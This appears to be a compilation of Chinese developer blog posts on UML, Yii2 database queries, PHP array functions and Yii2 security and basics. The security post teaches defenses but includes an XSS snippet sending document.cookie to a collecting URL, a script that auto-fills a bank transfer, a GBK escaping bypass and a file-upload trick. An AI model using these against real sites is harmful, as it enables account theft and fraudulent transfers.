学习 UML(一)

UML 是什么

UML,全称是 Unified Modeling Language,译为统一建模语言,是面向对象软件的标准化建模语言。UML 因其简单、统一的特点,而且能表达软件设计中的动态和静态信息,目前已成为可视化建模语言的工业标准。

UML 的种类

UML 2.5 包含的图形如下,一共 14 种。

    • 结构图
      • 类图
      • 组件图
      • 对象图
      • 扩展机制图
      • 组合结构图
      • 部署图
      • 包图
    • 行为图
      • 活动图
      • 用例图
      • 状态机图
      • 交互图
        • 序列图
        • 通信图
        • 时间图
        • 交互概述图

各建模工作流可以选用的建模元素以及推荐用法如下:

工作流 思考焦点 可选建模元素 推荐建模元素
业务建模 组织内系统之间 用例图、类图、序列图、活动图 用例图、类图、序列图
需求 系统边界 用例图、序列图、状态机图、活动图、文本 用例图、文本
分析 系统内核心域 类图、序列图、状态机图、活动图、通信图、包图 类图、序列图、(状态机图)
设计 系统内各域之间 类图、序列图、状态机图、活动图、通信图、组件图、部署图、时间图、组合结构图、包图 用文本表达模型(所谓代码)

Yii2 Working with Databases

Create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// 单条数据插入
Yii::$app->db->createCommand()->insert('shop_user', [
'userName' => 'HelloWorld',
'userPass' => md5(123456),
'userEmail' => 'hello@world.com',
'createdAt' => time(),
])->execute();
$customer = new Customer();
$customer->name = 'Ann';
$customer->email = 'AnnEason@qq.com';
$customer->save();
// 批量数据插入
Yii::$app->db->createCommand()->batchInsert('shop_user',
['userName', 'userPass', 'userEmail', 'createdAt'],
[
['Ann', md5(123456), 'Ann@qq.com', time()],
['Leon', md5(123456), 'Leon@qq.com', time()],
['bitch', md5(123456), 'bitch@qq.com', time()],
['Linda', md5(123456), 'Linda@qq.com', time()],
]
)->execute();

Update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// 数据更新方法(表名, 字段与值, 条件)
Yii::$app->db->createCommand()->update('shop_user', ['userName' => 'hello'], 'userId = 6')->execute();
$customer = Customer::findOne(123);
$customer->email = 'AnnEason@qq.com';
$customer->save();
$values = [
'name' => 'Ann',
'email' => 'Ann@qq.com'
];
$customer = new Customer();
$customer->attributes = $values;
$customer->save();
Customer::updateAll(['status' => Customer::STATUS_ACTIVE],['like','email','@example.com']);

Retrieve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 存在数据返回二维数组,没有数据返回空数组
$orders = Yii::$app->db->createCommand("select * from z_order order by id desc limit 100 ;")->queryAll();
$rows = (new \yii\db\Query())->select(['id','email'])->from('user') ->all();
$models = Model::find()->where(['status' => Model::STATUS])->all();
// 存在数据返回一维数组,没有数据返回 false
$order = Yii::$app->db->createCommand("select * from z_order where id = 802478;")->queryOne();
$row = (new \yii\db\Query())->from('user')->where(['like','username','test'])->one();
$model = Model::find()->where(['id'=>1])->one();
// 存在数据返回一维数组,没有数据返回空数组
$orderNumbers = Yii::$app->db->createCommand("select orderno from z_order order by id desc limit 100")
->queryColumn();
$columns = (new \yii\db\Query())->select('id')->from('user')->column()
// 存在数据返回标量数值,没有数据返回 false
$orderCount = Yii::$app->db->createCommand("select count(orderno) from z_order")->queryScalar();
$count = (new \yii\db\Query())->from('user')->where(['like','username','test'])->count();
$modelCount = Model::find()->where(['status'=>1])->count();
GoodsLifeCycle::find()->select(['currentState', 'count(*) as total'])->groupBy(['currentState'])->asArray()->all();

Delete

1
2
3
4
5
6
7
8
<?php
// 数据删除方法(表名,条件)
Yii::$app->db->createCommand()->delete('shop_user', 'userName = "HelloWorld"')->execute();
$customer = Customer::findOne(123);
$customer->delete();
Customer::deleteAll(['status' => Customer::STATUS_INACTIVE]);

Where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// String Format
$query->where('status = 1');
$query->where('status = :status', [':status' => $status]);
$query->where('status = :status')->addParams([':status' => $status]);
// Hash Format ...WHERE (`status` = 10) AND (`type` IS NULL) AND (`id` IN (4, 8, 15))
$query->where([
'status' => 10,
'type' => null,
'id' => [4, 8, 15],
]);
// Operator Format [operator, operand1, operand2, ...]
$query->where(['and', 'id=1', 'id=2']);
$query->where(['and', 'type=1', ['or', 'id=1', 'id=2']]);
$query->where(['between', 'id', 1, 10]);
$query->where(['not between', 'id', 1, 10]);
$query->where(['in', 'id', [1, 2, 3, 4, 5]]);
$query->where(['not in', 'id', [1, 2, 3, 4, 5]]);
$query->where(['like', 'name', 'hello']);
$query->where(['like', 'name', ['hello', 'world']]);
$query->where(['>', 'age', 10])
$query->andWhere(['like', 'title', 'hello-world']);
$query->orWhere(['like','name','LuisEdware']);
$query->filterWhere(['name' => $name, 'email' => $email]);
$query->andFilterWhere(['!=', 'id', 1]);
$query->orFilterWhere(['status' => 2]);
$query->andFilterCompare('name', 'John Doe');

orderBy

1
2
3
4
5
6
7
8
9
<?php
$query->orderBy([
'id' => SORT_ASC,
'name' => SORT_DESC,
]);
$query->orderBy('id ASC, name DESC');
$query->orderBy('id ASC')->addOrderBy('name DESC');

groupBy

1
2
3
4
5
6
7
<?php
$query->groupBy(['id','status']);
$query->groupBy('id,status');
$query->groupBy(['id','status'])->addGroupBy('age');

having

1
2
3
4
5
<?php
$query->having(['status'=>1]);
$query->having(['status'=>1])->andHaving(['>','age',30]);

limit and offset

1
2
<?php
$query->limit(10)->offset(20);

join

1
2
3
<?php
// ... LEFT JOIN `post` ON `post`.`user_id` = `user`.`id`
$query->join('LEFT JOIN','post','post.user_id = user.id');

union

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$query1 = (new \yii\db\Query())
->select('id,category_id AS type, name')
->from('post')
->limit(10);
$query2 = (new \yii\db\Query())
->select('id,type,name')
->from('user')
->limit(10);
$query1->union($query2);

find

1
2
3
4
5
6
7
8
9
<?php
// SELECT * FROM customer WHERE id = 123;
$customer = Customer::findOne(123);
// SELECT * FROM customer WHERE id IN (1,2,3,4,5)
$customers = Customer::findOne([1,2,3,4,5]);
$customer = Customer::findOne(['id'=>123, 'status'=> Customer::STATUS]);
$customers = Customer::findAll(['id'=>123, 'status'=> Customer::STATUS_ACTIVE]);

Relations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Order extends ActiveRecord
{
public function getOrderItems()
{
return $this->hasMany(OrderItem::className(), ['order_id' => 'id']);
}
public function getItems()
{
return $this->hasMany(Item::className(), ['id' => 'item_id'])
->via('orderItems');
}
}
$items = $order->items;
$customers = Customer::find()->with('orders.items')->all();
// no SQL executed
$items = $customers[0]->orders[0]->items;

关于 PHP 函数 array_walk 的一些想法

array_walk

(PHP 4, PHP 5, PHP 7)
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

说明

bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

将用户自定义函数 funcname 应用到 array 数组中的每个单元。

array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。

参数

  • array
    • 输入的数组。
  • callback
    • 典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
  • Note:
    • 如果 callback 需要直接作用于数组中的值,则给 callback 的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。
  • Note:
    • 参数数量超过预期,传入内置函数 (例如 strtolower()), 将抛出警告,所以不适合当做 funcname。
      只有 array 的值才可以被改变,用户不应在回调函数中改变该数组本身的结构。例如增加/删除单元,unset 单元等等。如果 array_walk() 作用的数组改变了,则此函数的的行为未经定义,且不可预期。
  • userdata
    • 如果提供了可选参数 userdata,将被作为第三个参数传递给 callback funcname。

返回值

成功时返回 TRUE, 或者在失败时返回 FALSE。

范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$graphics_card = [
[
'brand'=>'华硕',
'model'=>'GTX980(Ti)',
'status'=>1,
],
[
'brand'=>'技嘉',
'model'=>'GTX970',
'status'=>0,
],
[
'brand'=>'微星',
'model'=>'GTX960',
'status'=>1,
],
[
'brand'=>'七彩虹',
'model'=>'GTX950',
'status'=>0,
],
];
array_walk($graphics_card, function(&$item){
$item['brand'] = '按摩店';
$item['model'] = '1080';
});
var_dump($graphics_card);
array_map(function($key) use (&$graphics_card) {
$graphics_card[$key]['brand'] = '英伟达';
$graphics_card[$key]['model'] = '泰坦';
}, array_keys($graphics_card));
var_dump($graphics_card);

关于 PHP 函数 array_filter 的一些想法

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_filter — 用回调函数过滤数组中的单元

说明

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 TRUE,则 input 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数

  • array
    • 要循环的数组
  • callback
    • 使用的回调函数
    • 如果没有提供 callback 函数, 将删除 input 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。
  • flag
    • 决定callback接收的参数形式:
      • ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数
      • ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值

返回值

返回过滤后的数组。

范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$graphics_card = [
[
'brand'=>'华硕',
'model'=>'GTX980(Ti)',
'status'=>1,
],
[
'brand'=>'技嘉',
'model'=>'GTX970',
'status'=>0,
],
[
'brand'=>'微星',
'model'=>'GTX960',
'status'=>1,
],
[
'brand'=>'七彩虹',
'model'=>'GTX950',
'status'=>0,
],
];
$data = [
'int'=>0,
'null'=>null,
'bool'=>false,
'string'=>'hello',
'number'=>506510463,
'int-string'=>'0',
'null-string'=>'',
];
var_dump(array_filter($data));
var_dump(array_filter($data, function ($value) { if (!empty($value)) {
return $value;
}}));
var_dump(array_filter($data, 'strlen'));
var_dump(array_map('intval', $data));
var_dump(array_map(function ($value) { if (!empty($value)) {
return $value;
}}, $data));
var_dump(array_filter(array_map(function ($value) { if ($value['status']===1) {
return $value['brand'].$value['model'];
}}, $graphics_card)));

关于 PHP 函数 array_map 的一些想法

array_map

array_map - 为数组的每个元素应用回调函数

说明

array array_map(callable $callback, array $array1[, array $...])

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

参数

  • callback
    • 回调函数,应用到每个数组里的元素
  • array1
    • 数组,遍历运行 callback 函数
    • 数据列表,每个都遍历运行 callback 函数

范例

array_map 实现 foreach 的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
class GraphicsCard
{
public $brand;
public $model;
public function __construct($brand, $model)
{
$this->brand = $brand;
$this->model = $model;
}
}
$graphics_card = [
[
'brand'=>'华硕',
'model'=>'GTX980(Ti)',
'status'=>1,
],
[
'brand'=>'技嘉',
'model'=>'GTX970',
'status'=>0,
],
[
'brand'=>'微星',
'model'=>'GTX960',
'status'=>1,
],
[
'brand'=>'七彩虹',
'model'=>'GTX950',
'status'=>0,
],
];
$graphics_card2 = [];
foreach ($graphics_card as $value) {
$graphics_card2[] = new GraphicsCard($value['brand'], $value['model']);
}
// Demo 1
$demoA1 = $graphics_card;
$demoA2 = $graphics_card2;
foreach ($demoA1 as $key => $value) {
$demoA1[$key]['model'] = '1080';
$demoA1[$key]['brand'] = '按摩店';
}
foreach ($demoA2 as $key => $item) {
$demoA2[$key]->brand = '按摩店';
$demoA2[$key]->model = '1080';
}
var_dump($demoA1);
var_dump($demoA2);
// Demo 2
$demoB1 = $graphics_card;
$demoB2 = $graphics_card2;
$demoB1 = array_map(function ($value) {
$value['brand'] = '按摩店';
$value['model'] = '1080';
return $value;
}, $demoB1);
array_map(function ($value) {
$value->brand = '按摩店';
$value->model = '1080';
}, $demoB2);
var_dump($demoB1);
var_dump($demoB2);
// Demo 3
$demoC1 = $graphics_card;
$demoC2 = $graphics_card2;
array_map(function ($key, $value) use (&$demoC1) {
$demoC1[$key]['brand'] = '按摩店';
$demoC1[$key]['model'] = '1080';
}, array_keys($demoC1), $demoC1);
array_map(function ($key, $value) use ($demoC2) {
$demoC2[$key]->brand = '按摩店';
$demoC2[$key]->model = '1080';
}, array_keys($demoC2), $demoC2);
var_dump($demoC1);
var_dump($demoC2);
// Demo 4
$brands = [];
$models = [];
foreach ($graphics_card as $item) {
$brands[] = $item['brand'];
}
$models = array_map(function ($value) {
return $value['model'];
}, $graphics_card);
var_dump($brands);
var_dump($models);
// 也可以使用 array_column 来实现 Demo 4 的效果
var_dump(array_column($graphics_card, 'brand'));
var_dump(array_column($graphics_card, 'model'));
// Demo5
$items = [
'item1'=>'Hello',
'item2'=>'World',
'item3'=>'Luis',
'item4'=>'Edware',
'item5'=>'Ann',
'item6'=>'Eason',
];
foreach($items as $key => $value){
if($key === 'item1'){
$items[$key] = 'World';
}elseif($key === 'item3'){
$items[$key] = 'Edware';
}
}
var_dump($items);
$items_to_modify = ['item1'=>'Hello','item3'=>'Luis'];
array_map(function($key,$value) use(&$items) {
$items[$key] = $value;
},array_keys($items_to_modify),$items_to_modify);
var_dump($items);

使用 array_map 实现 array_column 的效果

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function array_pluck($key, $input) {
if (is_array($key) || !is_array($input)) return array();
$array = array_map(function($value) use($key){
if(array_key_exists($key, $value)) return $value[$key];
},$input);
return $array;
}
var_dump(array_pluck('brand',$graphics_card));
var_dump(array_column($graphics_card,'brand'));

使用 PHPStorm 的 Live Templates 封装常用代码

PHP Template Group

fore

1
2
3
foreach ($ITERABLE$ as $VAR_VALUE$) {
$END$
}

forek

1
2
3
foreach ($ITERABLE$ as $VAR_KEY$ => $VAR_VALUE$) {
$END$
}

prif

1
2
3
private function $NAME$($PARAMETERS$){
$END$
}

prisf

1
2
3
private static function $NAME$($PARAMETERS$){
$END$
}

prof

1
2
3
protected function $NAME$($PARAMETERS$){
$END$
}

prosf

1
2
3
protected static function $NAME$($PARAMETERS$){
$END$
}

pubf

1
2
3
public function $NAME$($PARAMETERS$){
$END$
}

pubsf

1
2
3
public static function $NAME$($PARAMETERS$){
$END$
}

thr

1
throw new $END$

tryc

1
2
3
4
5
try {
$ITERABLE$
} catch (\$Exception$ $e) {
$END$
}

##

Yii 框架之安全篇

XSS 攻击和防范之存储

XSS 全称

XSS 概念

XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到
提供给其它用户使用的页面中,从而对用户进行攻击

如何使用 XSS 攻击盗取用户账号

1
2
var cookie = document.cookie;
window.location.href = "http://127.0.0.1/index.php?cookie="+cookie;
  • 问题如下:document.cookie 获取得到的 cookie 是什么样的
  • index.php 是如何处理 cookie 值的
  • 有了 cookie 怎么就能进行盗取账号的

httponly 阻止 js 读取 cookie

哪一段 js 代码能够自动转账

1
2
3
4
document.getElementById('ipt-search-key').value='withyz@xx.com';
document.getElementById('amount').value='100';
document.getElementById('reason').value='劫富济贫';
document.getElementsByClassName('ui-button-text')[0].click();

如何把 js 注入到转账页面中

XSS 攻击和防范之反射

现代现浏览器(chrome)对于反射型XSS有一定防护
手动关闭:\Yii::$app->response->headers->add(‘X-XSS-Protection’, ‘0’);

HTML 实体编码
URL 编码

XSS 攻击和防范之蠕虫

Yii 如何防范 XSS

转码防范
\yii\helpers\Html::encode($script);

过滤防范
\yii\helpers\HtmlPurifier::process($js);

CSRF 攻击和防范

跨站请求伪造

get型的crtf攻击
构造url, 诱使用户点击

透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。

yii 框架 csrf token 验证过程

检查Referer字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于www.examplebank.com之下,这时候服务器就能识别出恶意的访问。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
添加校验token
由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行CSRF攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

SQL 注入和防范

addslashes() 转义函数 防范 SQL 注入

Sql注入:将要执行的sql语句采用拼接的方式组装时,就sql注入的可能;
原本要查询的字符串在拼接后发生发“越狱”,部分字符串被数据库识别成可执行语句,
导致意外的操作和查询结果
防范:1,屏蔽关键字和敏感词,有影响业务逻辑的可能;
2, 对传入变量转义,避免变量的内容越狱

绕过转义:
char(0xdf)/‘,在utf-8下会变成β/‘,
而在gbk下由于汉字是2个字节组成;在数据中将变成 運’,单引号逃过了被转义

使用PDO统一数据库接口,可以无痛切换;
使用占位符防范SQL注入

文件上传漏洞

文件上传漏洞
如果后台对文件上传审查不严,导致php代码上传后被执行,可进行遍历文件等操作使源码泄露

用 fiddler 可以拦截请求,然后修改请求的内容,比如图片中的文件名,修改成如上形式后,会生成一个php文件,然后在上传后的目录执行php文件会造成危害

保存上传过来的文件名的时候不要用用户本来的名称,容易在中途被非法修改,从而变成.php这些可执行文件,造成损害

Yii 框架之扩展篇

Yii 扩展分类

  • 模块化
  • 事件机制
  • MixIN (混合、多重继承)
  • 依赖注入

模块化技术

模块化:通过对业务详细拆分,分化出不同的小模块,
可以通过思维导图进行梳理
系统加载模块时通过配置文件进行控制,若模块暂不可用可于配置中标明以通知系统模块暂不可用

使用 Gii 的 Module Generator

模块化实现:

1、父级模块化(1级)

通过gii的modules生成对应的子模块(2级),

然后修改config.php中的web.php的配置信息,添加以下信息(例子):

‘modules’=>[‘article’=>’app/modules/article/Article’]

访问方式,例如:localhost/basic/index.php?r=article/default/index
2、2级模块化(1级),类推

通过gii的modules生成对应的子模块(3级),

然后修改该模块下的.php配置信息,添加以下信息(例子):

在actionInit中添加如下信息:

$this->modules = [‘category’=>[‘class’=>’app/modules/article/modules/test/Test’]];
访问方式,例如:localhost/basic/index.php?r=article/test/default/index

事件机制

<?php
namespace app\controllers;
use yii\web\Controller;
use vendor\animal\Cat;
use vendor\animal\Mourse;
use vendor\animal\Dog;
use \yii\base\Event;
class AnimalController extends Controller
{
public function actionIndex(){
$cat = new Cat();
$cat2 = new Cat();
$mourse = new Mourse();
$dog = new Dog();
/*
//案例一
//实现猫叫,老鼠跑绑定事件,dog关注
$cat->on(‘miao’,[$mourse,’run’]); //on()方法来自于Componment,on()方法实现绑定事件
//猫叫的时候给老鼠传递一些参数信息

$cat->on('miao',[$dog,'look']);//dog关注cat的miao

#-/
/

//案例二
//实现猫叫,老鼠跑绑定事件,dog关注后,取消关注
$cat->on(‘miao’,[$mourse,’run’]); //on()方法来自于Componment,on()方法实现绑定事件
//猫叫的时候给老鼠传递一些参数信息

$cat->on('miao',[$dog,'look']);//dog关注cat的miao
$cat->off('miao',[$dog,'look']);//dog取消关注cat的miao

#—*/

MixIn

Behavior

依赖注入

Yii 框架之基础篇

安装

检查当前 PHP 环境是否满足 Yii 最基本需求:

1
php requirements.php

通过 Composer 进行安装

1
2
3
4
5
// 安装基础应用模板
sudo composer create-project --prefer-dist yiisoft/yii2-app-basic yii
// 安装高级应用模板
sudo composer create-project --prefer-dist yiisoft/yii2-app-advanced advanced

如果安装的过程中提示需要 Github Token,则进入以下网址生成 Token

1
https://github.com/settings/tokens

Packages

1
2
3
4
5
// AdminLte 后台响应模板
composer require dmstr/yii2-adminlte-asset "2.*"
// Yii2 RBAC 的一套管理工具,实现了漂亮的界面和完整的权限管理功能
composer require mdmsoft/yii2-admin "2.x-dev"

控制器

操作

控制器由操作组成,它是执行终端用户请求的最基础的单元,一个控制器可有一个或多个操作。

操作分为独立操作和内联操作

内联操作容易创建,在无需重用的情况下优先使用; 独立操作相反,主要用于多个控制器重用, 或重构为扩展

路由

终端用户通过所谓的路由寻找到操作,路由是包含以下部分的字符串:

  • 模块 ID
  • 控制器 ID
  • 操作 ID

路由两种主要的格式

1
2
3
4
5
# 默认目录下的路由
ControllerID/ActionID
# 模块目录下的路由
ModuleID/ControllerID/ActionID

部署

在应用配置文件 web.php 配置默认控制器,当请求没有指定路由,该属性值作为路由使用:

1
2
3
4
5
<?php
[
'defaultRoute' => 'main',
]

在应用配置文件 web.php 强制控制器 ID 和类名对应,通常用在使用第三方不能掌控类名的控制器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
[
'controllerMap' => [
// 用类名申明 "account" 控制器
'account' => 'app\controllers\UserController',
// 用配置数组申明 "article" 控制器
'article' => [
'class' => 'app\controllers\PostController',
'enableCsrfValidation' => false,
],
],
]

操作结果

1
2
// 返回响应对象,进行页面跳转
$this->redirect('http://example.com');

操作参数

1
2
3
4
5
6
7
8
9
10
11
namespace app\controllers;
use yii\web\Controller;
class PostController extends Controller
{
public function actionView(int $id, $version = null)
{
// ...
}
}

操作参数会被不同的参数填入,如下所示:

默认操作

每个控制器都有一个由 yii\base\Controller::defaultAction 属性指定的默认操作,当路由只包含控制器ID, 会使用所请求的控制器的默认操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\controllers;
use yii\web\Controller;
class SiteController extends Controller
{
public $defaultAction = 'home';
public function actionHome()
{
return $this->render('home');
}
}

模型

属性

模型通过属性来代表业务数据,每个属性像是模型的公有可访问属性,yii\base\Model::attributes() 指定模型所拥有的属性。

1
2
3
4
5
6
7
<?php
$model = new \app\models\ContactForm;
// "name" 是ContactForm模型的属性
$model->name = 'example';
echo $model->name;

模型实现了 ArrayAccess 和 ArrayIterator 接口,可以像数组单元项一样访问属性

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$model = new \app\models\ContactForm;
// 像访问数组单元项一样访问属性
$model['name'] = 'example';
echo $model['name'];
// 迭代器遍历模型
foreach ($model as $name => $value) {
echo "$name: $value\n";
}

属性标签

如果你不想用自动生成的标签, 可以覆盖 yii\base\Model::attributeLabels() 方法明确指定属性标签,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace app\models;
use yii\base\Model;
class ContactForm extends Model
{
public $name;
public $email;
public $subject;
public $body;
public function attributeLabels()
{
return [
'name' => 'Your name',
'email' => 'Your email address',
'subject' => 'Subject',
'body' => 'Content',
];
}
}

场景

模型可能在多个场景下使用,例如 User 模块可能会在收集用户登录输入,也可能会在用户注册时使用。在不同的场景下,模型可能会使用不同的业务规则和逻辑,例如 email 属性在注册时强制要求有,但在登陆时不需要。模型设置场景如下:

1
2
3
4
5
6
7
8
<?php
// 场景作为属性来设置
$model = new User;
$model->scenario = 'login';
// 场景通过构造初始化配置来设置
$model = new User(['scenario' => 'login']);

场景设置活动属性和验证规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace app\models;
use yii\db\ActiveRecord;
class User extends ActiveRecord
{
const SCENARIO_LOGIN = 'login';
const SCENARIO_REGISTER = 'register';
public function scenarios()
{
$scenarios = parent::scenarios();
$scenarios[self::SCENARIO_LOGIN] = ['username', 'password'];
$scenarios[self::SCENARIO_REGISTER] = ['username', 'email', 'password'];
return $scenarios;
}
public function rules()
{
return [
// 在"register" 场景下 username, email 和 password 必须有值
[['username', 'email', 'password'], 'required', 'on' => 'register'],
// 在 "login" 场景下 username 和 password 必须有值
[['username', 'password'], 'required', 'on' => 'login'],
];
}
}

块赋值

块赋值只用一行代码将用户所有输入填充到一个模型,非常方便,它直接将输入数据对应填充到 yii\base\Model::attributes 属性。以下两段代码效果是相同的,都是将终端用户输入的表单数据赋值到 ContactForm 模型的属性,明显地前一段块赋值的代码比后一段代码简洁且不易出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# 块赋值
$model = new \app\models\ContactForm;
$model->attributes = \Yii::$app->request->post('ContactForm');
# 普通赋值
$model = new \app\models\ContactForm;
$data = \Yii::$app->request->post('ContactForm', []);
$model->name = isset($data['name']) ? $data['name'] : null;
$model->email = isset($data['email']) ? $data['email'] : null;
$model->subject = isset($data['subject']) ? $data['subject'] : null;
$model->body = isset($data['body']) ? $data['body'] : null;

对象转换数组

1
2
3
4
<?php
$post = \app\models\Post::findOne(100);
$array = $post->attributes;

字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$array = $model->toArray([], ['prettyName', 'fullAddress']);
// 明确列出每个字段,特别用于你想确保数据表或模型
// 属性改变不会导致你的字段改变(保证后端的API兼容)。
public function fields()
{
return [
// 字段名和属性名相同
'id',
// 字段名为 "email",对应属性名为 "email_address"
'email' => 'email_address',
// 字段名为 "name", 值通过PHP代码返回
'name' => function () {
return $this->first_name . ' ' . $this->last_name;
},
];
}
// 过滤掉一些字段,特别用于你想
// 继承父类实现并不想用一些敏感字段
public function fields()
{
$fields = parent::fields();
// 去掉一些包含敏感信息的字段
unset($fields['auth_key'], $fields['password_hash'], $fields['password_reset_token']);
return $fields;
}

视图

控制器渲染视图的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 渲染一个视图名并使用一个布局返回到渲染结果
yii\base\Controller::render();
// 渲染一个视图名并且不使用布局
yii\base\Controller::renderPartial();
// 渲染一个视图名并且不使用布局,并注入所有注册的JS/CSS脚本和文件,通常使用在响应AJAX网页请求的情况下。
yii\base\Controller::renderAjax();
// 渲染一个视图文件目录或别名下的视图文件。
yii\base\Controller::renderFile();
yii\base\Controller::renderContent();

小部件渲染视图的方法

1
2
3
4
5
6
7
<?php
// 渲染一个视图名
yii\base\Widget::render()
// 渲染一个视图文件目录或别名下的视图文件
yii\base\Widget::renderFile()

视图中访问数据

1
2
3
$this->render('视图名',['key'=>$value]);
echo $this->key;

视图间共享数据

yii\base\View 视图组件提供yii\base\View::params参数 属性来让不同视图共享数据。

1
$this->params['breadcrumbs'][] = 'About Us';

布局

布局的渲染过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 该方法应在布局的开始处调用, 它触发表明页面开始的 yii\base\View::EVENT_BEGIN_PAGE 事件。
yii\base\View::beginPage();
// 该方法应在布局的结尾处调用, 它触发表明页面结尾的 yii\base\View::EVENT_END_PAGE 时间。
yii\base\View::endPage();
// 该方法应在HTML页面的<head>标签中调用, 它生成一个占位符,在页面渲染结束时会被注册的头部HTML代码 (如,link标签, meta标签)替换。
yii\web\View::head();
// 该方法应在<body>标签的开始处调用, 它触发 yii\web\View::EVENT_BEGIN_BODY 事件并生成一个占位符, 会被注册的HTML代码(如JavaScript)在页面主体开始处替换。
yii\web\View::beginBody();
// 方法应在<body>标签的结尾处调用, 它触发 yii\web\View::EVENT_END_BODY 事件并生成一个占位符, 会被注册的HTML代码(如JavaScript)在页面主体结尾处替换。
yii\web\View::endBody()

布局中访问数据
在布局中可访问两个预定义变量:$this 和 $content, 前者对应和普通视图类似的 yii\base\View 视图组件 后者包含调用 yii\base\Controller::render() 方法渲染内容视图的结果。

使用布局

  • yii\base\Application::layout 管理所有控制器的布局
  • yii\base\Controller::layout 覆盖总布局来控制单个控制器布局

嵌套布局

布局数据块

使用视图组件

设置页面标题

1
2
3
4
5
<?php
$this->title = 'My page title';
?>
<title><?= Html::encode($this->title) ?></title>

注册 Meta 元标签

1
2
3
<?php
$this->registerMetaTag(['name' => 'keywords', 'content' => 'yii, framework, php']);
?>

注册链接标签

1
2
3
4
5
6
7
8
<?php
$this->registerLinkTag([
'title' => 'Live News for Yii',
'rel' => 'alternate',
'type' => 'application/rss+xml',
'href' => 'http://www.yiiframework.com/rss.xml/',
]);
?>

视图事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// 在控制器渲染文件开始时触发,该事件可设置 yii\base\ViewEvent::isValid 为 false 取消视图渲染。
yii\base\View::EVENT_BEFORE_RENDER:
// 在布局中调用 yii\base\View::beginPage() 时触发,该事件可获取 yii\base\ViewEvent::output 的渲染结果,可修改该属性来修改渲染结果。
yii\base\View::EVENT_AFTER_RENDER:
// 在布局调用 yii\base\View::beginPage() 时触发
yii\base\View::EVENT_BEGIN_PAGE:
// 在布局调用 yii\base\View::endPage() 是触发
yii\base\View::EVENT_END_PAGE:
// 在布局调用 yii\web\View::beginBody() 时触发
yii\web\View::EVENT_BEGIN_BODY:
